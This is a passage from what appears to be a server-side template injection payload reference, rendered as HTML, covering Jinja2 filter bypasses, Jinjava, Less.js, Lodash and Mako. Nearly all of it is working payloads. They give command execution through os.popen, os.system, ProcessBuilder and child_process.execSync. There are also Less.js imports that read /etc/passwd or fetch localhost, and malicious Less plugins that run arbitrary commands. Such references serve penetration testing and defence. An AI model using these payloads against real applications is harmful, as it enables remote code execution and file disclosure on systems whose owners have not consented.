<div class="highlight"><pre><span></span><code><a id="__codelineno-50-1" name="__codelineno-50-1" href="#__codelineno-50-1"></a><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">localhost</span><span class="p">:</span><span class="mi">5000</span><span class="o">/</span><span class="err">?</span><span class="n">exploit</span><span class="o">=</span><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">([</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">usc</span><span class="o">*</span><span class="mi">2</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">class</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">usc</span><span class="o">*</span><span class="mi">2</span><span class="p">]</span><span class="o">|</span><span class="n">join</span><span class="p">)}}</span><span class="o">&amp;</span><span class="n">class</span><span class="o">=</span><span class="n">class</span><span class="o">&amp;</span><span class="n">usc</span><span class="o">=</span><span class="n">_</span>
<a id="__codelineno-50-2" name="__codelineno-50-2" href="#__codelineno-50-2"></a>
<a id="__codelineno-50-3" name="__codelineno-50-3" href="#__codelineno-50-3"></a><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">([</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">usc</span><span class="o">*</span><span class="mi">2</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">class</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">usc</span><span class="o">*</span><span class="mi">2</span><span class="p">]</span><span class="o">|</span><span class="n">join</span><span class="p">)}}</span>
<a id="__codelineno-50-4" name="__codelineno-50-4" href="#__codelineno-50-4"></a><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">([</span><span class="s2">&quot;_&quot;</span><span class="o">*</span><span class="mi">2</span><span class="p">,</span><span class="s2">&quot;class&quot;</span><span class="p">,</span><span class="s2">&quot;_&quot;</span><span class="o">*</span><span class="mi">2</span><span class="p">]</span><span class="o">|</span><span class="n">join</span><span class="p">)}}</span>
<a id="__codelineno-50-5" name="__codelineno-50-5" href="#__codelineno-50-5"></a><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">([</span><span class="s2">&quot;__&quot;</span><span class="p">,</span><span class="s2">&quot;class&quot;</span><span class="p">,</span><span class="s2">&quot;__&quot;</span><span class="p">]</span><span class="o">|</span><span class="n">join</span><span class="p">)}}</span>
<a id="__codelineno-50-6" name="__codelineno-50-6" href="#__codelineno-50-6"></a><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="s2">&quot;__class__&quot;</span><span class="p">)}}</span>
<a id="__codelineno-50-7" name="__codelineno-50-7" href="#__codelineno-50-7"></a><span class="p">{{</span><span class="n">request</span><span class="o">.</span><span class="vm">__class__</span><span class="p">}}</span>
</code></pre></div>
<p>Bypassing <code>[</code> and <code>]</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-51-1" name="__codelineno-51-1" href="#__codelineno-51-1"></a><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">localhost</span><span class="p">:</span><span class="mi">5000</span><span class="o">/</span><span class="err">?</span><span class="n">exploit</span><span class="o">=</span><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">((</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">usc</span><span class="o">*</span><span class="mi">2</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">class</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">usc</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span><span class="o">|</span><span class="n">join</span><span class="p">)}}</span><span class="o">&amp;</span><span class="n">class</span><span class="o">=</span><span class="n">class</span><span class="o">&amp;</span><span class="n">usc</span><span class="o">=</span><span class="n">_</span>
<a id="__codelineno-51-2" name="__codelineno-51-2" href="#__codelineno-51-2"></a><span class="ow">or</span>
<a id="__codelineno-51-3" name="__codelineno-51-3" href="#__codelineno-51-3"></a><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">localhost</span><span class="p">:</span><span class="mi">5000</span><span class="o">/</span><span class="err">?</span><span class="n">exploit</span><span class="o">=</span><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">getlist</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">l</span><span class="p">)</span><span class="o">|</span><span class="n">join</span><span class="p">)}}</span><span class="o">&amp;</span><span class="n">l</span><span class="o">=</span><span class="n">a</span><span class="o">&amp;</span><span class="n">a</span><span class="o">=</span><span class="n">_</span><span class="o">&amp;</span><span class="n">a</span><span class="o">=</span><span class="n">_</span><span class="o">&amp;</span><span class="n">a</span><span class="o">=</span><span class="n">class</span><span class="o">&amp;</span><span class="n">a</span><span class="o">=</span><span class="n">_</span><span class="o">&amp;</span><span class="n">a</span><span class="o">=</span><span class="n">_</span>
</code></pre></div>
<p>Bypassing <code>|join</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-52-1" name="__codelineno-52-1" href="#__codelineno-52-1"></a><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">localhost</span><span class="p">:</span><span class="mi">5000</span><span class="o">/</span><span class="err">?</span><span class="n">exploit</span><span class="o">=</span><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">f</span><span class="o">|</span><span class="nb">format</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">a</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">a</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">a</span><span class="p">,</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">a</span><span class="p">))}}</span><span class="o">&amp;</span><span class="n">f</span><span class="o">=%</span><span class="n">s</span><span class="o">%</span><span class="n">sclass</span><span class="o">%</span><span class="n">s</span><span class="o">%</span><span class="n">s</span><span class="o">&amp;</span><span class="n">a</span><span class="o">=</span><span class="n">_</span>
</code></pre></div>
<p>Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
<div class="highlight"><pre><span></span><code><a id="__codelineno-53-1" name="__codelineno-53-1" href="#__codelineno-53-1"></a><span class="p">{{</span><span class="n">request</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="s1">&#39;application&#39;</span><span class="p">)</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">globals</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">)</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">getitem</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">)(</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">builtins</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">)</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">getitem</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">)(</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">import</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">)(</span><span class="s1">&#39;os&#39;</span><span class="p">)</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="s1">&#39;popen&#39;</span><span class="p">)(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">|</span><span class="n">attr</span><span class="p">(</span><span class="s1">&#39;read&#39;</span><span class="p">)()}}</span>
</code></pre></div></p>
<hr />
<h2 id="jinjava">Jinjava</h2>
<p><a href="https://github.com/HubSpot/jinjava">Official website</a></p>
<blockquote>
<p>Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).</p>
</blockquote>
<h3 id="jinjava-basic-injection">Jinjava - Basic injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-54-1" name="__codelineno-54-1" href="#__codelineno-54-1"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="o">.</span><span class="n">toUpperCase</span><span class="p">()}}</span> <span class="n">would</span> <span class="n">result</span> <span class="ow">in</span> <span class="s1">&#39;A&#39;</span>
<a id="__codelineno-54-2" name="__codelineno-54-2" href="#__codelineno-54-2"></a><span class="p">{{</span> <span class="n">request</span> <span class="p">}}</span> <span class="n">would</span> <span class="k">return</span> <span class="n">a</span> <span class="n">request</span> <span class="nb">object</span> <span class="n">like</span> <span class="n">com</span><span class="o">.</span><span class="p">[</span><span class="o">...</span><span class="p">]</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">TemplateContextRequest</span><span class="o">@</span><span class="mi">23548206</span>
</code></pre></div>
<p>Jinjava is an open source project developed by Hubspot, available at <a href="https://github.com/HubSpot/jinjava/">https://github.com/HubSpot/jinjava/</a></p>
<h3 id="jinjava-command-execution">Jinjava - Command execution</h3>
<p>Fixed by https://github.com/HubSpot/jinjava/pull/230</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-55-1" name="__codelineno-55-1" href="#__codelineno-55-1"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="o">.</span><span class="n">getClass</span><span class="p">()</span><span class="o">.</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">newInstance</span><span class="p">()</span><span class="o">.</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">eval</span><span class="p">(</span>\<span class="s2">&quot;new java.lang.String(&#39;xxx&#39;)</span><span class="se">\&quot;</span><span class="s2">)}}</span>
<a id="__codelineno-55-2" name="__codelineno-55-2" href="#__codelineno-55-2"></a>
<a id="__codelineno-55-3" name="__codelineno-55-3" href="#__codelineno-55-3"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="o">.</span><span class="n">getClass</span><span class="p">()</span><span class="o">.</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">newInstance</span><span class="p">()</span><span class="o">.</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">eval</span><span class="p">(</span>\<span class="s2">&quot;var x=new java.lang.ProcessBuilder; x.command(</span><span class="se">\\\&quot;</span><span class="s2">whoami</span><span class="se">\\\&quot;</span><span class="s2">); x.start()</span><span class="se">\&quot;</span><span class="s2">)}}</span>
<a id="__codelineno-55-4" name="__codelineno-55-4" href="#__codelineno-55-4"></a>
<a id="__codelineno-55-5" name="__codelineno-55-5" href="#__codelineno-55-5"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="o">.</span><span class="n">getClass</span><span class="p">()</span><span class="o">.</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">newInstance</span><span class="p">()</span><span class="o">.</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">eval</span><span class="p">(</span>\<span class="s2">&quot;var x=new java.lang.ProcessBuilder; x.command(</span><span class="se">\\\&quot;</span><span class="s2">netstat</span><span class="se">\\\&quot;</span><span class="s2">); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())</span><span class="se">\&quot;</span><span class="s2">)}}</span>
<a id="__codelineno-55-6" name="__codelineno-55-6" href="#__codelineno-55-6"></a>
<a id="__codelineno-55-7" name="__codelineno-55-7" href="#__codelineno-55-7"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="o">.</span><span class="n">getClass</span><span class="p">()</span><span class="o">.</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">newInstance</span><span class="p">()</span><span class="o">.</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">eval</span><span class="p">(</span>\<span class="s2">&quot;var x=new java.lang.ProcessBuilder; x.command(</span><span class="se">\\\&quot;</span><span class="s2">uname</span><span class="se">\\\&quot;</span><span class="s2">,</span><span class="se">\\\&quot;</span><span class="s2">-a</span><span class="se">\\\&quot;</span><span class="s2">); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())</span><span class="se">\&quot;</span><span class="s2">)}}</span>
</code></pre></div>
<hr />
<h2 id="lessjs">Lessjs</h2>
<p><a href="https://lesscss.org/">Official website</a></p>
<blockquote>
<p>Less (which stands for Leaner Style Sheets) is a backwards-compatible language extension for CSS. This is the official documentation for Less, the language and Less.js, the JavaScript tool that converts your Less styles to CSS styles.</p>
</blockquote>
<h3 id="lessjs-ssrf-lfi">Lessjs - SSRF / LFI</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-56-1" name="__codelineno-56-1" href="#__codelineno-56-1"></a><span class="nv">@import</span><span class="w"> </span><span class="o">(</span><span class="nt">inline</span><span class="o">)</span><span class="w"> </span><span class="s2">&quot;http://localhost&quot;</span><span class="o">;</span>
<a id="__codelineno-56-2" name="__codelineno-56-2" href="#__codelineno-56-2"></a><span class="o">//</span><span class="w"> </span><span class="nt">or</span>
<a id="__codelineno-56-3" name="__codelineno-56-3" href="#__codelineno-56-3"></a><span class="nv">@import</span><span class="w"> </span><span class="o">(</span><span class="nt">inline</span><span class="o">)</span><span class="w"> </span><span class="s2">&quot;/etc/passwd&quot;</span><span class="o">;</span>
</code></pre></div>
<h3 id="lessjs-v3-command-execution">Lessjs &lt; v3 - Command Execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-57-1" name="__codelineno-57-1" href="#__codelineno-57-1"></a><span class="nt">body</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-57-2" name="__codelineno-57-2" href="#__codelineno-57-2"></a><span class="w"> </span><span class="k">color</span><span class="p">:</span><span class="w"> </span><span class="err">`</span><span class="n">global</span><span class="o">.</span><span class="n">process</span><span class="o">.</span><span class="n">mainModule</span><span class="o">.</span><span class="nf">require</span><span class="p">(</span><span class="s2">&quot;child_process&quot;</span><span class="p">)</span><span class="o">.</span><span class="nf">execSync</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)</span><span class="err">`</span><span class="p">;</span>
<a id="__codelineno-57-3" name="__codelineno-57-3" href="#__codelineno-57-3"></a><span class="p">}</span>
</code></pre></div>
<h3 id="plugins">Plugins</h3>
<p>Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.</p>
<p><div class="highlight"><pre><span></span><code><a id="__codelineno-58-1" name="__codelineno-58-1" href="#__codelineno-58-1"></a><span class="o">//</span><span class="w"> </span><span class="nt">example</span><span class="w"> </span><span class="nt">local</span><span class="w"> </span><span class="nt">plugin</span><span class="w"> </span><span class="nt">usage</span>
<a id="__codelineno-58-2" name="__codelineno-58-2" href="#__codelineno-58-2"></a><span class="nv">@plugin</span><span class="w"> </span><span class="s2">&quot;plugin-2.7.js&quot;</span><span class="o">;</span>
</code></pre></div>
or
<div class="highlight"><pre><span></span><code><a id="__codelineno-59-1" name="__codelineno-59-1" href="#__codelineno-59-1"></a><span class="o">//</span><span class="w"> </span><span class="nt">example</span><span class="w"> </span><span class="nt">remote</span><span class="w"> </span><span class="nt">plugin</span><span class="w"> </span><span class="nt">usage</span>
<a id="__codelineno-59-2" name="__codelineno-59-2" href="#__codelineno-59-2"></a><span class="nv">@plugin</span><span class="w"> </span><span class="s2">&quot;http://example.com/plugin-2.7.js&quot;</span>
</code></pre></div></p>
<p>version 2 example RCE plugin:</p>
<p><div class="highlight"><pre><span></span><code><a id="__codelineno-60-1" name="__codelineno-60-1" href="#__codelineno-60-1"></a><span class="nx">functions</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s1">&#39;cmd&#39;</span><span class="p">,</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-60-2" name="__codelineno-60-2" href="#__codelineno-60-2"></a><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="sb">`&quot;</span><span class="si">${</span><span class="nb">global</span><span class="p">.</span><span class="nx">process</span><span class="p">.</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="s1">&#39;child_process&#39;</span><span class="p">).</span><span class="nx">execSync</span><span class="p">(</span><span class="nx">val</span><span class="p">.</span><span class="nx">value</span><span class="p">)</span><span class="si">}</span><span class="sb">&quot;`</span><span class="p">;</span>
<a id="__codelineno-60-3" name="__codelineno-60-3" href="#__codelineno-60-3"></a><span class="p">});</span>
</code></pre></div>
version 3 and above example RCE plugin</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-61-1" name="__codelineno-61-1" href="#__codelineno-61-1"></a><span class="c1">//Vulnerable plugin (3.13.1)</span>
<a id="__codelineno-61-2" name="__codelineno-61-2" href="#__codelineno-61-2"></a><span class="nx">registerPlugin</span><span class="p">({</span>
<a id="__codelineno-61-3" name="__codelineno-61-3" href="#__codelineno-61-3"></a><span class="w"> </span><span class="nx">install</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">less</span><span class="p">,</span><span class="w"> </span><span class="nx">pluginManager</span><span class="p">,</span><span class="w"> </span><span class="nx">functions</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-61-4" name="__codelineno-61-4" href="#__codelineno-61-4"></a><span class="w"> </span><span class="nx">functions</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s1">&#39;cmd&#39;</span><span class="p">,</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-61-5" name="__codelineno-61-5" href="#__codelineno-61-5"></a><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">global</span><span class="p">.</span><span class="nx">process</span><span class="p">.</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="s1">&#39;child_process&#39;</span><span class="p">).</span><span class="nx">execSync</span><span class="p">(</span><span class="nx">val</span><span class="p">.</span><span class="nx">value</span><span class="p">).</span><span class="nx">toString</span><span class="p">();</span>
<a id="__codelineno-61-6" name="__codelineno-61-6" href="#__codelineno-61-6"></a><span class="w"> </span><span class="p">});</span>
<a id="__codelineno-61-7" name="__codelineno-61-7" href="#__codelineno-61-7"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-61-8" name="__codelineno-61-8" href="#__codelineno-61-8"></a><span class="p">})</span>
</code></pre></div>
<hr />
<h2 id="lodash">Lodash</h2>
<p><a href="https://lodash.com/docs/4.17.15">Official website</a></p>
<h3 id="lodash-basic-injection">Lodash - Basic Injection</h3>
<p>How to create a template:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-62-1" name="__codelineno-62-1" href="#__codelineno-62-1"></a><span class="kd">const</span><span class="w"> </span><span class="nx">_</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s1">&#39;lodash&#39;</span><span class="p">);</span>
<a id="__codelineno-62-2" name="__codelineno-62-2" href="#__codelineno-62-2"></a><span class="nx">string</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;{{= username}}&quot;</span>
<a id="__codelineno-62-3" name="__codelineno-62-3" href="#__codelineno-62-3"></a><span class="kd">const</span><span class="w"> </span><span class="nx">options</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-62-4" name="__codelineno-62-4" href="#__codelineno-62-4"></a><span class="w"> </span><span class="nx">evaluate</span><span class="o">:</span><span class="w"> </span><span class="sr">/\{\{(.+?)\}\}/g</span><span class="p">,</span>
<a id="__codelineno-62-5" name="__codelineno-62-5" href="#__codelineno-62-5"></a><span class="w"> </span><span class="nx">interpolate</span><span class="o">:</span><span class="w"> </span><span class="sr">/\{\{=(.+?)\}\}/g</span><span class="p">,</span>
<a id="__codelineno-62-6" name="__codelineno-62-6" href="#__codelineno-62-6"></a><span class="w"> </span><span class="nx">escape</span><span class="o">:</span><span class="w"> </span><span class="sr">/\{\{-(.+?)\}\}/g</span><span class="p">,</span>
<a id="__codelineno-62-7" name="__codelineno-62-7" href="#__codelineno-62-7"></a><span class="p">};</span>
<a id="__codelineno-62-8" name="__codelineno-62-8" href="#__codelineno-62-8"></a>
<a id="__codelineno-62-9" name="__codelineno-62-9" href="#__codelineno-62-9"></a><span class="nx">_</span><span class="p">.</span><span class="nx">template</span><span class="p">(</span><span class="nx">string</span><span class="p">,</span><span class="w"> </span><span class="nx">options</span><span class="p">);</span>
</code></pre></div>
<ul>
<li><strong>string:</strong> The template string.</li>
<li><strong>options.interpolate:</strong> It is a regular expression that specifies the HTML <em>interpolate</em> delimiter.</li>
<li><strong>options.evaluate:</strong> It is a regular expression that specifies the HTML <em>evaluate</em> delimiter.</li>
<li><strong>options.escape:</strong> It is a regular expression that specifies the HTML <em>escape</em> delimiter.</li>
</ul>
<p>For the purpose of RCE, the delimiter of templates is determined by the <strong>options.evaluate</strong> parameter.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-63-1" name="__codelineno-63-1" href="#__codelineno-63-1"></a><span class="p">{{</span><span class="o">=</span><span class="w"> </span><span class="nx">_</span><span class="p">.</span><span class="nx">VERSION</span><span class="p">}}</span>
<a id="__codelineno-63-2" name="__codelineno-63-2" href="#__codelineno-63-2"></a><span class="nx">$</span><span class="p">{</span><span class="o">=</span><span class="w"> </span><span class="nx">_</span><span class="p">.</span><span class="nx">VERSION</span><span class="p">}</span>
<a id="__codelineno-63-3" name="__codelineno-63-3" href="#__codelineno-63-3"></a><span class="o">&lt;%=</span><span class="w"> </span><span class="nx">_</span><span class="p">.</span><span class="nx">VERSION</span><span class="w"> </span><span class="o">%&gt;</span>
<a id="__codelineno-63-4" name="__codelineno-63-4" href="#__codelineno-63-4"></a>
<a id="__codelineno-63-5" name="__codelineno-63-5" href="#__codelineno-63-5"></a>
<a id="__codelineno-63-6" name="__codelineno-63-6" href="#__codelineno-63-6"></a><span class="p">{{</span><span class="o">=</span><span class="w"> </span><span class="nx">_</span><span class="p">.</span><span class="nx">templateSettings</span><span class="p">.</span><span class="nx">evaluate</span><span class="w"> </span><span class="p">}}</span>
<a id="__codelineno-63-7" name="__codelineno-63-7" href="#__codelineno-63-7"></a><span class="nx">$</span><span class="p">{</span><span class="o">=</span><span class="w"> </span><span class="nx">_</span><span class="p">.</span><span class="nx">VERSION</span><span class="p">}</span>
<a id="__codelineno-63-8" name="__codelineno-63-8" href="#__codelineno-63-8"></a><span class="o">&lt;%=</span><span class="w"> </span><span class="nx">_</span><span class="p">.</span><span class="nx">VERSION</span><span class="w"> </span><span class="o">%&gt;</span>
</code></pre></div>
<h3 id="lodash-command-execution">Lodash - Command Execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-64-1" name="__codelineno-64-1" href="#__codelineno-64-1"></a>{{x=Object}}{{w=a=new x}}{{w.type=&quot;pipe&quot;}}{{w.readable=1}}{{w.writable=1}}{{a.file=&quot;/bin/sh&quot;}}{{a.args=[&quot;/bin/sh&quot;,&quot;-c&quot;,&quot;id;ls&quot;]}}{{a.stdio=[w,w]}}{{process.binding(&quot;spawn_sync&quot;).spawn(a).output}}
</code></pre></div>
<h2 id="mako">Mako</h2>
<p><a href="https://www.makotemplates.org/">Official website</a></p>
<blockquote>
<p>Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-65-1" name="__codelineno-65-1" href="#__codelineno-65-1"></a><span class="o">&lt;%</span>
<a id="__codelineno-65-2" name="__codelineno-65-2" href="#__codelineno-65-2"></a><span class="kn">import</span> <span class="nn">os</span>
<a id="__codelineno-65-3" name="__codelineno-65-3" href="#__codelineno-65-3"></a><span class="n">x</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<a id="__codelineno-65-4" name="__codelineno-65-4" href="#__codelineno-65-4"></a><span class="o">%&gt;</span>
<a id="__codelineno-65-5" name="__codelineno-65-5" href="#__codelineno-65-5"></a><span class="err">$</span><span class="p">{</span><span class="n">x</span><span class="p">}</span>
</code></pre></div>
<h3 id="direct-access-to-os-from-templatenamespace">Direct access to os from TemplateNamespace:</h3>
<p>Any of these payloads allows direct access to the <code>os</code> module</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-66-1" name="__codelineno-66-1" href="#__codelineno-66-1"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-2" name="__codelineno-66-2" href="#__codelineno-66-2"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-3" name="__codelineno-66-3" href="#__codelineno-66-3"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-4" name="__codelineno-66-4" href="#__codelineno-66-4"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-5" name="__codelineno-66-5" href="#__codelineno-66-5"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;util&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)}</span>
<a id="__codelineno-66-6" name="__codelineno-66-6" href="#__codelineno-66-6"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-7" name="__codelineno-66-7" href="#__codelineno-66-7"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">filters</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-8" name="__codelineno-66-8" href="#__codelineno-66-8"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-9" name="__codelineno-66-9" href="#__codelineno-66-9"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
